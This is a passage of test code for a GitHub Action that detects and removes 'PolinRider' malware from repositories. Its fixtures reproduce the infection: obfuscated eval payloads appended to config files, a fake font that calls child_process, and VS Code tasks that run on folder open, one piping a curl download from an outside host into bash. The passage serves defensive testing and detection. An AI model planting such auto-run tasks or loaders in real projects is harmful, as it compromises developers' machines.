process.env.GITHUB_OUTPUT = outFile;
process.env.GITHUB_STEP_SUMMARY = sumFile;
Object.assign(process.env, extraEnv);
setInputs(inputs);
const code = await run();
const outputs = Object.fromEntries(
fs.readFileSync(outFile, "utf8").split("\n").filter(Boolean).map((l) => {
const i = l.indexOf("=");
return [l.slice(0, i), l.slice(i + 1)];
}),
);
return { code, outputs, summary: fs.readFileSync(sumFile, "utf8") };
}
const INFECTED_FILES = {
"App.js": infectedConfig(ORIGINAL_PAYLOAD),
".vscode/tasks.json": INFECTED_TASKS,
"config.bat": "",
};
// ─── resolveSettings ───────────────────────────────────────────────────────────
test("resolveSettings: defaults", () => {
const s = resolveSettings();
assert.equal(s.mode, "check");
assert.equal(s.scanPath, ".");
assert.equal(s.failOn, "infected");
assert.equal(s.commit, false);
assert.equal(s.commentOnPr, true);
assert.equal(s.mergeMethod, "squash");
assert.equal(s.branchPrefix, "fix/polinrider-cleanup");
});
test("resolveSettings: INPUT_* parsing incl. hyphenated names", () => {
setInputs({ mode: "FIX", "fail-on": "Suspicious", commit: "true", "comment-on-pr": "false", "merge-method": "REBASE" });
const s = resolveSettings();
assert.equal(s.mode, "fix");
assert.equal(s.failOn, "suspicious");
assert.equal(s.commit, true);
assert.equal(s.commentOnPr, false);
assert.equal(s.mergeMethod, "rebase");
});
test("resolveSettings: legacy env fallback + INPUT precedence", () => {
process.env.DRY_RUN = "true";
process.env.AUTO_MERGE = "true";
process.env.GH_TOKEN = "legacy-token";
let s = resolveSettings();
assert.equal(s.dryRun, true);
assert.equal(s.autoMerge, true);
assert.equal(s.token, "legacy-token");
// An explicit input wins over the token env var.
setInputs({ token: "input-token" });
s = resolveSettings();
assert.equal(s.token, "input-token");
});
// ─── failThreshold ─────────────────────────────────────────────────────────────
test("failThreshold ranks", () => {
assert.equal(failThreshold("never"), Infinity);
assert.equal(failThreshold("suspicious"), 1);
assert.equal(failThreshold("infected"), 2);
assert.equal(failThreshold("anything-else"), 2);
});
// ─── check mode exit codes ─────────────────────────────────────────────────────
test("check: infected → exit 1 + outputs", async () => {
const repo = await makeRepo(INFECTED_FILES);
const { code, outputs, summary } = await runAction(repo, { mode: "check" });
assert.equal(code, 1);
assert.equal(outputs.severity, "infected");
assert.equal(outputs.infected, "true");
assert.equal(outputs["findings-count"], "3");
assert.equal(outputs.changed, "false");
assert.match(summary, /PolinRider Malware Scan/);
assert.match(summary, /infected/);
});
test("check: clean → exit 0", async () => {
const repo = await makeRepo({ "postcss.config.js": LEGIT_CONFIG });
const { code, outputs } = await runAction(repo, { mode: "check" });
assert.equal(code, 0);
assert.equal(outputs.severity, "clean");
assert.equal(outputs.infected, "false");
});
test("check: fail-on=never never fails, even when infected", async () => {
const repo = await makeRepo(INFECTED_FILES);
const { code, outputs } = await runAction(repo, { mode: "check", "fail-on": "never" });
assert.equal(code, 0);
assert.equal(outputs.infected, "true");
});
test("check: exclude skips flagged files", async () => {
// A vendored copy that legitimately carries a signature would false-positive;
// excluding it makes the scan clean, while a real infection elsewhere still fails.
const repo = await makeRepo({
"vendor/sig-sample.js": infectedConfig(ORIGINAL_PAYLOAD),
});
const withoutExclude = await runAction(repo, { mode: "check" });
assert.equal(withoutExclude.code, 1);
assert.equal(withoutExclude.outputs.severity, "infected");
const withExclude = await runAction(repo, { mode: "check", exclude: "vendor/**" });
assert.equal(withExclude.code, 0);
assert.equal(withExclude.outputs.severity, "clean");
});
test("check: suspicious repo fails only at fail-on=suspicious", async () => {
const repo = await makeRepo({ "weird.js": `export const x = 1;\n${GENERIC_PAYLOAD}` });
const def = await runAction(repo, { mode: "check" }); // fail-on=infected
assert.equal(def.outputs.severity, "suspicious");
assert.equal(def.code, 0);
const strict = await runAction(repo, { mode: "check", "fail-on": "suspicious" });
assert.equal(strict.code, 1);
});
// ─── fix mode (no commit) ──────────────────────────────────────────────────────
test("fix: cleans the working tree, exit 0, re-scan clean", async () => {
const repo = await makeRepo(INFECTED_FILES);
const { code, outputs } = await runAction(repo, { mode: "fix" });
assert.equal(code, 0);
assert.equal(outputs.changed, "true");
assert.equal(outputs.remediated, "true");
// Payload stripped, legit config kept; malware artifacts gone.
assert.match(fs.readFileSync(path.join(repo, "App.js"), "utf8"), /tailwindcss/);
assert.ok(!fs.existsSync(path.join(repo, ".vscode")));
assert.ok(!fs.existsSync(path.join(repo, "config.bat")));
const rescan = await scanRepo(repo);
assert.equal(rescan.severity, "clean");
});
test("fix: confirmed-but-manual-review item leaves exit 1", async () => {
// An impostor dep is content-confirmed but action=manual-review — fix can't
// auto-remove it, so the check must still fail. (Note: remediate also runs
// .gitignore hygiene, so `changed` may be true; the contract under test is the
// exit code and that the impostor dep is NOT silently stripped.)
const repo = await makeRepo({
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwindcss-style-animate": "^1.0.0" } }),
});
const { code, outputs } = await runAction(repo, { mode: "fix" });
assert.equal(outputs.severity, "infected");
assert.equal(code, 1); // unresolved confirmed item → fail
assert.match(fs.readFileSync(path.join(repo, "package.json"), "utf8"), /tailwindcss-style-animate/);
});
// ─── SARIF ─────────────────────────────────────────────────────────────────────
test("buildSarif: shape + js-payload line from offset", async () => {
const repo = await makeRepo(INFECTED_FILES);
const findings = await scanRepo(repo);
const sarif = buildSarif(findings, { repoRoot: repo, repoDir: repo });
assert.equal(sarif.version, "2.1.0");
const driver = sarif.runs[0].tool.driver;
assert.equal(driver.name, "polinrider-cleanup");
assert.equal(sarif.runs[0].results.length, findings.findings.length);
const js = sarif.runs[0].results.find((r) => r.ruleId.startsWith("js.payload"));
assert.equal(js.level, "error");
assert.equal(js.locations[0].physicalLocation.artifactLocation.uri, "App.js");
assert.equal(js.locations[0].physicalLocation.region.startLine, 5);
});
// ─── buildSummary ──────────────────────────────────────────────────────────────
test("buildSummary: includes remediation section when result present", async () => {
const repo = await makeRepo(INFECTED_FILES);
const findings = await scanRepo(repo);
const md = buildSummary({
settings: { mode: "fix", dryRun: false },
findings,
result: { dryRun: false, applied: [], notes: ["did a thing"], skipped: [], filesModified: [], filesDeleted: [] },
});
assert.match(md, /### Findings/);
assert.match(md, /### Remediation/);
assert.match(md, /did a thing/);
});
+57
View File
@@ -0,0 +1,57 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import { buildExcluder } from "../src/exclude.js";
test("empty patterns → nothing excluded", () => {
const ex = buildExcluder("");
assert.equal(ex("anything.js"), false);
assert.equal(buildExcluder([])("a/b.js"), false);
assert.equal(buildExcluder(undefined)("a/b.js"), false);
});
test("exact file match", () => {
const ex = buildExcluder(["src/signatures.js"]);
assert.equal(ex("src/signatures.js"), true);
assert.equal(ex("src/scanner.js"), false);
assert.equal(ex("other/src/signatures.js"), false);
});
test("bare directory matches everything under it", () => {
const ex = buildExcluder(["dist"]);
assert.equal(ex("dist"), true);
assert.equal(ex("dist/ci.mjs"), true);
assert.equal(ex("dist/nested/x.js"), true);
assert.equal(ex("distinct.js"), false); // prefix must be a path boundary
});
test("trailing slash and ** behave like a directory", () => {
for (const pat of ["test/", "test/**"]) {
const ex = buildExcluder([pat]);
assert.equal(ex("test/helpers.js"), true, pat);
assert.equal(ex("test/sub/a.js"), true, pat);
assert.equal(ex("tests.js"), false, pat);
}
});
test("single * stays within a path segment", () => {
const ex = buildExcluder(["*.min.js"]);
assert.equal(ex("app.min.js"), true);
assert.equal(ex("vendor/app.min.js"), false); // * does not cross "/"
assert.equal(buildExcluder(["vendor/*.js"])("vendor/a.js"), true);
assert.equal(buildExcluder(["vendor/*.js"])("vendor/sub/a.js"), false);
});
test("comma/newline separated string + whitespace", () => {
const ex = buildExcluder("src/signatures.js, test/** \n dist/**");
assert.equal(ex("src/signatures.js"), true);
assert.equal(ex("test/helpers.js"), true);
assert.equal(ex("dist/ci.mjs"), true);
assert.equal(ex("src/scanner.js"), false);
});
test("** crosses path segments", () => {
const ex = buildExcluder(["**/fixtures/**"]);
assert.equal(ex("a/b/fixtures/c.js"), true);
assert.equal(ex("fixtures/c.js"), false); // leading **/ requires a segment before
assert.equal(buildExcluder(["**/fixtures/**", "fixtures/**"])("fixtures/c.js"), true);
});
+67
View File
@@ -0,0 +1,67 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import { readMagic, parseFontStructure, looksSuspicious, collectFontReferences, isReferenced } from "../src/fonts.js";
import { makeRepo, goodFont, evilFont, validSfnt, validWoff2, REAL_FONT_STRINGS, cleanupAll } from "./helpers.js";
after(cleanupAll);
test("readMagic recognizes common font formats", () => {
assert.equal(readMagic(Buffer.from("wOF2....")), "woff2");
assert.equal(readMagic(Buffer.from("wOFF....")), "woff");
assert.equal(readMagic(Buffer.from("OTTO....")), "otf");
assert.equal(readMagic(Buffer.from([0x00, 0x01, 0x00, 0x00, 0x00])), "ttf");
assert.equal(readMagic(Buffer.from("nope....")), "unknown");
});
test("parseFontStructure accepts a well-formed sfnt and woff2", () => {
assert.equal(parseFontStructure(validSfnt()).valid, true);
assert.equal(parseFontStructure(validWoff2()).valid, true);
});
test("parseFontStructure rejects unknown magic and malformed headers", () => {
assert.equal(parseFontStructure(Buffer.from("global['!']=1;")).valid, false);
// wOF2 magic but a declared length that doesn't match the byte length:
const badWoff2 = Buffer.concat([Buffer.from("wOF2", "latin1"), Buffer.alloc(256, 0x10)]);
assert.equal(parseFontStructure(badWoff2).valid, false);
// OTTO magic but a table directory that runs past EOF:
const badSfnt = Buffer.alloc(16);
badSfnt.write("OTTO", 0, "latin1");
badSfnt.writeUInt16BE(50, 4); // 50 tables can't fit in 16 bytes
assert.equal(parseFontStructure(badSfnt).valid, false);
});
test("looksSuspicious flags a fake font with a JS payload as a confirmed carrier", () => {
const r = looksSuspicious(evilFont(), ".woff2");
assert.equal(r.bad, true);
assert.equal(r.hasCodeStrings, true);
assert.ok(r.reasons.length >= 1);
});
test("looksSuspicious passes a valid, inert font", () => {
const r = looksSuspicious(goodFont(), ".woff2");
assert.equal(r.bad, false, JSON.stringify(r.reasons));
});
test("looksSuspicious does NOT flag a real font that embeds a license URL + base64-like run", () => {
// Regression: a genuine .otf (valid OTTO structure) whose name table holds a
// vendor URL, plus binary glyph data that looks base64-ish, must stay clean.
const r = looksSuspicious(validSfnt(REAL_FONT_STRINGS), ".otf");
assert.equal(r.bad, false, JSON.stringify(r.reasons));
assert.equal(r.hasCodeStrings, false);
});
test("looksSuspicious does not flag .eot solely for missing magic", () => {
const eot = Buffer.alloc(64, 0x00); // no recognizable magic, but inert
assert.equal(looksSuspicious(eot, ".eot").bad, false);
});
test("collectFontReferences + isReferenced detect a referenced font", async () => {
const repo = await makeRepo({
"public/fonts/inter.woff2": goodFont(),
"src/styles.css": `@font-face{font-family:Inter;src:url('/fonts/inter.woff2') format('woff2');}`,
"public/fonts/orphan.woff2": goodFont(),
});
const hay = await collectFontReferences(repo);
assert.equal(isReferenced(hay, "public/fonts/inter.woff2"), true);
assert.equal(isReferenced(hay, "public/fonts/orphan.woff2"), false);
});
+171
View File
@@ -0,0 +1,171 @@
/**
* Test helpers: build throwaway repo trees in the OS temp dir, plus realistic
* payload/font fixtures derived from the real signatures.
*/
import os from "node:os";
import path from "node:path";
import fs from "node:fs";
import fsp from "node:fs/promises";
const created = [];
/** Create a unique temp directory; auto-cleaned by cleanupAll(). */
export function mkTmpDir(prefix = "polin-test-") {
const dir = fs.mkdtempSync(path.join(os.tmpdir(), prefix));
created.push(dir);
return dir;
}
/**
* Write a map of { relativePath: string | Buffer } into `dir`.
* @returns {Promise<string>} dir
*/
export async function writeFiles(dir, files) {
for (const [rel, content] of Object.entries(files)) {
const full = path.join(dir, rel);
await fsp.mkdir(path.dirname(full), { recursive: true });
await fsp.writeFile(full, content);
}
return dir;
}
/** Build a repo in a fresh temp dir from a file map. */
export async function makeRepo(files) {
return writeFiles(mkTmpDir(), files);
}
export function cleanupAll() {
for (const d of created.splice(0)) {
try {
fs.rmSync(d, { recursive: true, force: true });
} catch {
/* ignore */
}
}
}
// ─── Realistic payload fixtures (match src/signatures.js) ───────────────────────
export const LEGIT_CONFIG = `export default {\n plugins: { tailwindcss: {}, autoprefixer: {} },\n};\n`;
export const ORIGINAL_PAYLOAD =
`global['!']='8-270-2';var _$_1e42=["rmcej%otb%",2857687,2667686];` +
`eval(String.fromCharCode(49,43,49));\n`;
export const ROTATED_PAYLOAD =
`global['_V']='8-991';var MDy=["Cot%3t=shtP",1111436,3896884];` +
`eval(String.fromCharCode(49,43,49));\n`;
// Looks like an appended obfuscated blob but matches no KNOWN signature/seed.
export const GENERIC_PAYLOAD =
`global['zz']=42;var _$_abcd=[12,34,56,78,90];eval(atob('MSt1'));\n`;
export function infectedConfig(payload) {
return LEGIT_CONFIG + "\n" + payload;
}
// ─── Font fixtures ──────────────────────────────────────────────────────────────
/**
* Structurally valid WOFF2: correct magic, a declared length that matches the
* actual byte length, and a non-zero table count. Inert padding.
*/
export function validWoff2(size = 64) {
const buf = Buffer.alloc(Math.max(size, 16), 0x00);
buf.write("wOF2", 0, "latin1");
buf.writeUInt32BE(0x4f54544f, 4); // flavor: OTTO
buf.writeUInt32BE(buf.length, 8); // total length == file size
buf.writeUInt16BE(4, 12); // numTables (non-zero)
return buf;
}
/**
* Structurally valid OTTO sfnt with a single in-bounds table whose bytes embed
* `extra` text. Used to prove that a genuine font is NOT flagged even when it
* contains a license URL and a long base64-looking run — the exact bytes that
* previously produced false positives on real commercial fonts.
*/
export function validSfnt(extra = "") {
const numTables = 1;
const dirEnd = 12 + numTables * 16;
const body = Buffer.from(extra, "latin1");
const buf = Buffer.alloc(dirEnd + body.length, 0x00);
buf.write("OTTO", 0, "latin1"); // sfntVersion → otf
buf.writeUInt16BE(numTables, 4);
buf.write("CFF ", 12, "latin1"); // table tag
buf.writeUInt32BE(0, 16); // checksum
buf.writeUInt32BE(dirEnd, 20); // table offset (right after the directory)
buf.writeUInt32BE(body.length, 24); // table length
body.copy(buf, dirEnd);
return buf;
}
/** A real-font byte pattern that used to trip the old heuristics: a vendor URL + a long base64-ish run. */
export const REAL_FONT_STRINGS =
"Copyright. http://www.monotypeimaging.com " + "A".repeat(400);
/** Structurally valid font (default WOFF2), inert padding (no JS-like strings). */
export function goodFont() {
return validWoff2(256);
}
/** Fake "font": no font magic + embedded JS payload → confirmed carrier. */
export function evilFont() {
return Buffer.from(
"global['!']='x';var _$_1e42=[1];eval(require('child_process').toString());function(){}",
"latin1",
);
}
// ─── .vscode fixtures ─────────────────────────────────────────────────────────────
export const LEGIT_TASKS = `{
// Build tasks
"version": "2.0.0",
"tasks": [
{ "label": "build", "type": "shell", "command": "npm run build" },
{ "label": "test", "type": "npm", "script": "test" },
]
}
`;
export const INFECTED_TASKS = `{
"version": "2.0.0",
"tasks": [
{ "label": "build", "type": "shell", "command": "npm run build" },
{
"label": "[auto]",
"type": "shell",
"command": "curl -fsSL https://default-configuration.vercel.app/x | bash",
"runOptions": { "runOn": "folderOpen" }
}
]
}
`;
export const LEGIT_LAUNCH = `{
"version": "0.2.0",
"configurations": [
{ "type": "node", "request": "launch", "name": "Run", "program": "\${workspaceFolder}/index.js" }
]
}
`;
// Real-world PolinRider tasks.json: a folderOpen task that runs the payload font
// through node (no curl/URL — the old fetch-to-shell detector missed this).
export const INFECTED_TASKS_NODE = `{
"version": "2.0.0",
"configurations": [
{ "type": "node", "request": "launch", "name": "Run My Project" }
],
"tasks": [
{
"label": "eslint-check",
"type": "shell",
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2)",
"isBackground": true,
"runOptions": { "runOn": "folderOpen" }
}
]
}
`;
+80
View File
@@ -0,0 +1,80 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import { parseJsonc, getMember, removeArrayElements } from "../src/jsonc.js";
import { cleanupAll } from "./helpers.js";
after(cleanupAll);
test("parses JSONC with line + block comments and trailing commas", () => {
const text = `{
// a comment
"version": "2.0.0", /* inline */
"tasks": [
{ "label": "a" },
{ "label": "b" }, // trailing comma below
],
}`;
const r = parseJsonc(text);
assert.equal(r.ok, true, r.error?.message);
assert.equal(r.value.version, "2.0.0");
assert.equal(r.value.tasks.length, 2);
});
test("handles a BOM and comment-like sequences inside strings", () => {
const text = `{ "url": "http://x/y // not a comment", "n": 1 }`;
const r = parseJsonc(text);
assert.equal(r.ok, true, r.error?.message);
assert.equal(r.value.url, "http://x/y // not a comment");
assert.equal(r.value.n, 1);
});
test("reports failure (not throw) on malformed input", () => {
const r = parseJsonc(`{ "a": }`);
assert.equal(r.ok, false);
assert.ok(r.error instanceof Error);
});
test("getMember returns the value node for a key", () => {
const r = parseJsonc(`{ "tasks": [1, 2, 3] }`);
const node = getMember(r.ast, "tasks");
assert.equal(node.type, "array");
assert.equal(node.elements.length, 3);
});
test("removeArrayElements deletes the target element and keeps valid JSON", () => {
const text = `{
"version": "2.0.0",
"tasks": [
{ "label": "build" },
{ "label": "evil" }
]
}`;
const r = parseJsonc(text);
const arr = getMember(r.ast, "tasks");
const edited = removeArrayElements(text, arr, [1]);
const reparsed = parseJsonc(edited);
assert.equal(reparsed.ok, true, reparsed.error?.message);
assert.equal(reparsed.value.tasks.length, 1);
assert.equal(reparsed.value.tasks[0].label, "build");
assert.equal(reparsed.value.version, "2.0.0");
});
test("removeArrayElements can remove the first element too", () => {
const text = `{ "tasks": [ { "label": "evil" }, { "label": "keep" } ] }`;
const r = parseJsonc(text);
const arr = getMember(r.ast, "tasks");
const edited = removeArrayElements(text, arr, [0]);
const reparsed = parseJsonc(edited);
assert.equal(reparsed.ok, true, reparsed.error?.message);
assert.deepEqual(reparsed.value.tasks.map((t) => t.label), ["keep"]);
});
test("removeArrayElements handles removing adjacent elements", () => {
const text = `{ "tasks": [ {"i":0}, {"i":1}, {"i":2}, {"i":3} ] }`;
const r = parseJsonc(text);
const arr = getMember(r.ast, "tasks");
const edited = removeArrayElements(text, arr, [1, 2]);
const reparsed = parseJsonc(edited);
assert.equal(reparsed.ok, true, reparsed.error?.message);
assert.deepEqual(reparsed.value.tasks.map((t) => t.i), [0, 3]);
});
+136
View File
@@ -0,0 +1,136 @@
import { test, after } from "node:test";
import assert from "node:assert/strict";
import fs from "node:fs/promises";
import { existsSync } from "node:fs";
import path from "node:path";
import { scanRepo } from "../src/scanner.js";
import { remediate } from "../src/remediator.js";
import {
makeRepo,
cleanupAll,
LEGIT_CONFIG,
INFECTED_TASKS_NODE,
ORIGINAL_PAYLOAD,
ROTATED_PAYLOAD,
infectedConfig,
goodFont,
evilFont,
} from "./helpers.js";
after(cleanupAll);
// git not needed for these (no .git dir) — stub returns "not tracked".
const noGit = async () => ({ exitCode: 1, stdout: "", stderr: "" });
test("strips original payload, leaving the legit config byte-identical", async () => {
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
const findings = await scanRepo(repo);
const result = await remediate(repo, findings, { git: noGit });
assert.equal(result.changed, true);
const out = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
assert.ok(!out.includes("rmcej%otb%"), "payload signature should be gone");
assert.ok(!out.includes("global['!']"), "payload start should be gone");
assert.equal(out, LEGIT_CONFIG.replace(/\s+$/, "") + "\n", "legit config preserved verbatim");
});
test("strips rotated payload", async () => {
const repo = await makeRepo({ "tailwind.config.js": infectedConfig(ROTATED_PAYLOAD) });
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
const out = await fs.readFile(path.join(repo, "tailwind.config.js"), "utf8");
assert.ok(!out.includes("Cot%3t=shtP"));
assert.ok(!out.includes("global['_V']"));
});
test("removes the entire .vscode directory when a malicious task is found", async () => {
const repo = await makeRepo({
".vscode/tasks.json": INFECTED_TASKS_NODE,
".vscode/settings.json": `{ "editor.tabSize": 2 }`,
});
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
assert.equal(existsSync(path.join(repo, ".vscode")), false, ".vscode removed entirely");
});
test("removes the carrier but preserves a referenced clean font (remove-font-set)", async () => {
const repo = await makeRepo({
"public/fonts/evil.woff2": evilFont(),
"public/fonts/good.woff2": goodFont(),
"src/app.css": `@font-face{src:url('/fonts/good.woff2');}`,
});
const findings = await scanRepo(repo);
const result = await remediate(repo, findings, { git: noGit });
assert.equal(result.changed, true);
assert.equal(existsSync(path.join(repo, "public/fonts/evil.woff2")), false, "carrier removed");
assert.equal(existsSync(path.join(repo, "public/fonts/good.woff2")), true, "clean font preserved");
assert.equal(existsSync(path.join(repo, "public/fonts")), true, "fonts dir kept");
});
test("removes the whole fonts dir when it is entirely malware (remove-dir)", async () => {
const repo = await makeRepo({
"public/fonts/fa-solid-400.woff2": evilFont(),
"public/fonts/fa-brands-400.woff2": goodFont(),
"public/fonts/README.md": "# Font Awesome",
});
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
assert.equal(existsSync(path.join(repo, "public/fonts")), false, "fonts dir removed");
assert.equal(existsSync(path.join(repo, "public")), true, "only the fonts dir is removed");
});
test("removes artifacts and strips all injected .gitignore lines", async () => {
const repo = await makeRepo({
"temp_auto_push.bat": "x",
"temp_interactive_push.bat": "x",
"config.bat": "x",
"branch_structure.json": "{}",
".gitignore": "node_modules\nconfig.bat\ntemp_auto_push.bat\ntemp_interactive_push.bat\nbranch_structure.json\n",
});
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
for (const a of ["temp_auto_push.bat", "temp_interactive_push.bat", "config.bat", "branch_structure.json"]) {
assert.equal(existsSync(path.join(repo, a)), false, `${a} removed`);
}
const gi = (await fs.readFile(path.join(repo, ".gitignore"), "utf8")).split(/\r?\n/);
for (const inj of ["config.bat", "temp_auto_push.bat", "temp_interactive_push.bat", "branch_structure.json"]) {
assert.ok(!gi.includes(inj), `${inj} removed from .gitignore`);
}
assert.ok(gi.includes(".env"), ".env pattern ensured");
});
test("dry run reports planned changes without writing", async () => {
const repo = await makeRepo({ "postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD) });
const findings = await scanRepo(repo);
const before = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
const result = await remediate(repo, findings, { dryRun: true, git: noGit });
assert.equal(result.changed, false);
assert.ok(result.applied.length >= 1);
const after = await fs.readFile(path.join(repo, "postcss.config.mjs"), "utf8");
assert.equal(after, before, "dry run must not modify the file");
});
test("does not touch unrelated files when remediating", async () => {
const repo = await makeRepo({
"postcss.config.mjs": infectedConfig(ORIGINAL_PAYLOAD),
"README.md": "# Hello\nThis file is innocent.\n",
"src/util.js": `export const add = (a, b) => a + b;\n`,
});
const readmeBefore = await fs.readFile(path.join(repo, "README.md"), "utf8");
const utilBefore = await fs.readFile(path.join(repo, "src/util.js"), "utf8");
const findings = await scanRepo(repo);
await remediate(repo, findings, { git: noGit });
assert.equal(await fs.readFile(path.join(repo, "README.md"), "utf8"), readmeBefore);
assert.equal(await fs.readFile(path.join(repo, "src/util.js"), "utf8"), utilBefore);
});
test("manual-review-only infection makes no automated file changes", async () => {
const repo = await makeRepo({
"package.json": JSON.stringify({ name: "x", dependencies: { "tailwind-autoanimation": "1.0.0" } }),
".gitignore": ".env\n.env.local\n.env.*.local\n.env.production\n.env.development\n",
});
const findings = await scanRepo(repo);
assert.equal(findings.severity, "infected");
const result = await remediate(repo, findings, { git: noGit });
assert.equal(result.changed, false, "no auto-fixable changes for an impostor dep");
assert.equal(result.skipped.length >= 1, true);
});
+130
View File
@@ -0,0 +1,130 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import { buildRunJson, buildRunMarkdown } from "../src/report.js";
function sampleRun(overrides = {}) {
return {
scannedAt: "2026-06-01T12:00:00.000Z",
scannedAtHuman: "Mon Jun 01 2026 12:00:00",
account: { kind: "org", owner: "RMSoft-ltd" },
dryRun: false,
autoMerge: true,
mergeMethod: "squash",
totals: {
total: 4,
clean: 1,
infected: 3,
remediated: 2,
merged: 1,
prOpened: 2,
manualOnly: 1,
errors: 1,
},
repos: [
{
repo: "RMSoft-ltd/clean-app",
severity: "clean",
findings: [],
deleted: [],
modified: [],
notes: [],
manualReview: [],
pr: null,
error: null,
},
{
repo: "RMSoft-ltd/web",
severity: "infected",
findings: [
{
file: ".vscode",
action: "remove-dir",
confidence: "high",
contentConfirmed: true,
description: "malicious task",
},
],
deleted: [".vscode", "public/fonts"],
modified: ["vite.config.js"],
notes: ["removed malware-injected entries from .gitignore"],
manualReview: [],
pr: {
url: "https://github.com/RMSoft-ltd/web/pull/7",
merged: true,
mergeError: null,
},
error: null,
},
{
repo: "RMSoft-ltd/api",
severity: "infected",
findings: [],
deleted: [],
modified: ["postcss.config.mjs"],
notes: [],
manualReview: [],
pr: {
url: "https://github.com/RMSoft-ltd/api/pull/3",
merged: false,
mergeError: "required status checks have not passed",
},
error: null,
},
{
repo: "RMSoft-ltd/mob",
severity: "infected",
findings: [],
deleted: [],
modified: [],
notes: [],
manualReview: ["package.json: impostor dependency"],
pr: null,
error: null,
},
],
...overrides,
};
}
test("buildRunMarkdown renders clickable PR links and merge status", () => {
const md = buildRunMarkdown(sampleRun());
assert.match(md, /\[#7\]\(https:\/\/github\.com\/RMSoft-ltd\/web\/pull\/7\)/);
assert.match(md, /✅ merged/);
assert.match(md, /⚠️ merge blocked/);
assert.match(md, /\| Repository \| Pull request \| Status \| Changes \|/);
assert.match(md, /removed: \.vscode, public\/fonts/);
});
test("buildRunMarkdown surfaces a Needs attention section", () => {
const md = buildRunMarkdown(sampleRun());
assert.match(md, /## Needs attention/);
assert.match(md, /auto-merge blocked: required status checks/);
assert.match(md, /manual review: package\.json: impostor dependency/);
});
test("buildRunMarkdown reflects account, mode, and totals", () => {
const md = buildRunMarkdown(sampleRun());
assert.match(md, /\*\*Account:\*\* org `RMSoft-ltd`/);
assert.match(md, /auto-merge: on \(squash\)/);
assert.match(md, /\| PRs merged \| 1 \|/);
});
test("dry-run mode is labeled and omits the merged row", () => {
const md = buildRunMarkdown(sampleRun({ dryRun: true, autoMerge: false }));
assert.match(md, /DRY RUN/);
assert.match(md, /auto-merge: off/);
assert.ok(!md.includes("PRs merged"));
});
test("buildRunJson tags a schema and preserves the repos array", () => {
const run = sampleRun();
const json = buildRunJson(run);
assert.equal(json.schema, "polinrider-run/1");
assert.equal(json.repos.length, 4);
assert.equal(json.totals.merged, 1);
// round-trips through JSON
assert.deepEqual(JSON.parse(JSON.stringify(json)).account, {
kind: "org",
owner: "RMSoft-ltd",
});
});
+52
View File
@@ -0,0 +1,52 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import os from "node:os";
import { assertAllowed, CommandNotAllowedError, safeExec, buildGitArgs } from "../src/safe-exec.js";
test("rejects non-allowlisted commands (no node/bash/sh/npm/etc.)", () => {
for (const cmd of ["node", "nodejs", "bash", "sh", "zsh", "npm", "npx", "yarn", "pnpm", "deno", "bun", "python", "env"]) {
assert.throws(() => assertAllowed(cmd, ["-e", "payload"]), CommandNotAllowedError, cmd);
}
});
test("rejects path-bearing commands", () => {
assert.throws(() => assertAllowed("/usr/bin/git", ["status"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("./git", ["status"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("git\\..\\node", ["x"]), CommandNotAllowedError);
});
test("rejects disallowed subcommands for git and gh", () => {
assert.throws(() => assertAllowed("git", ["daemon"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("git", ["-C", "/x", "for-each-ref"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("gh", ["auth", "token"]), CommandNotAllowedError);
assert.throws(() => assertAllowed("gh", []), CommandNotAllowedError);
});
test("allows expected subcommands, skipping leading -C/-c value options", () => {
assert.deepEqual(assertAllowed("git", ["-C", "/x", "commit", "-m", "y"]), { cmd: "git", sub: "commit" });
assert.deepEqual(assertAllowed("git", ["-c", "core.hooksPath=/dev/null", "clone", "url", "d"]), {
cmd: "git",
sub: "clone",
});
assert.deepEqual(assertAllowed("gh", ["api", "orgs/x/repos"]), { cmd: "gh", sub: "api" });
assert.deepEqual(assertAllowed("gh", ["pr", "create"]), { cmd: "gh", sub: "pr" });
});
test("safeExec throws synchronously (not a rejected promise) on a violation", () => {
assert.throws(() => safeExec("node", ["-e", "1"]), CommandNotAllowedError);
});
test("buildGitArgs disables hooks and adds --no-verify to commit/push only", () => {
const commit = buildGitArgs(["-C", "/x", "commit", "-m", "msg"]);
assert.equal(commit[0], "-c");
assert.ok(commit[1] === `core.hooksPath=${os.devNull}`);
assert.ok(commit.includes("--no-verify"));
const push = buildGitArgs(["-C", "/x", "push", "url", "branch"]);
assert.ok(push.includes("--no-verify"));
const clone = buildGitArgs(["clone", "--depth=1", "url", "d"]);
assert.ok(!clone.includes("--no-verify"), "clone must not get --no-verify");
assert.equal(clone[0], "-c");
assert.ok(clone[1].startsWith("core.hooksPath="));
});
+33
View File
@@ -0,0 +1,33 @@
import { test } from "node:test";
import assert from "node:assert/strict";
import { execa } from "execa";
import { fileURLToPath } from "node:url";
const probe = fileURLToPath(new URL("./_safety-probe.mjs", import.meta.url));
const entry = fileURLToPath(new URL("../src/index.js", import.meta.url));
test("Layer 3 in-code guards block eval / Function / vm / process.binding", async () => {
const r = await execa(process.execPath, [probe], { reject: false });
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
assert.match(r.stdout, /safety-probe OK/);
});
test("Layer 2 V8 flag also blocks codegen (defense in depth)", async () => {
const r = await execa(process.execPath, ["--disallow-code-generation-from-strings", probe], {
reject: false,
});
assert.equal(r.exitCode, 0, r.stderr || r.stdout);
});
test("orchestrator imports cleanly under the hardening flag (dependency canary)", async () => {
// Import index.js (without running main) under the flag. If execa/chalk/ora or
// any transitive dep needs eval/new Function at import time, this exits non-zero.
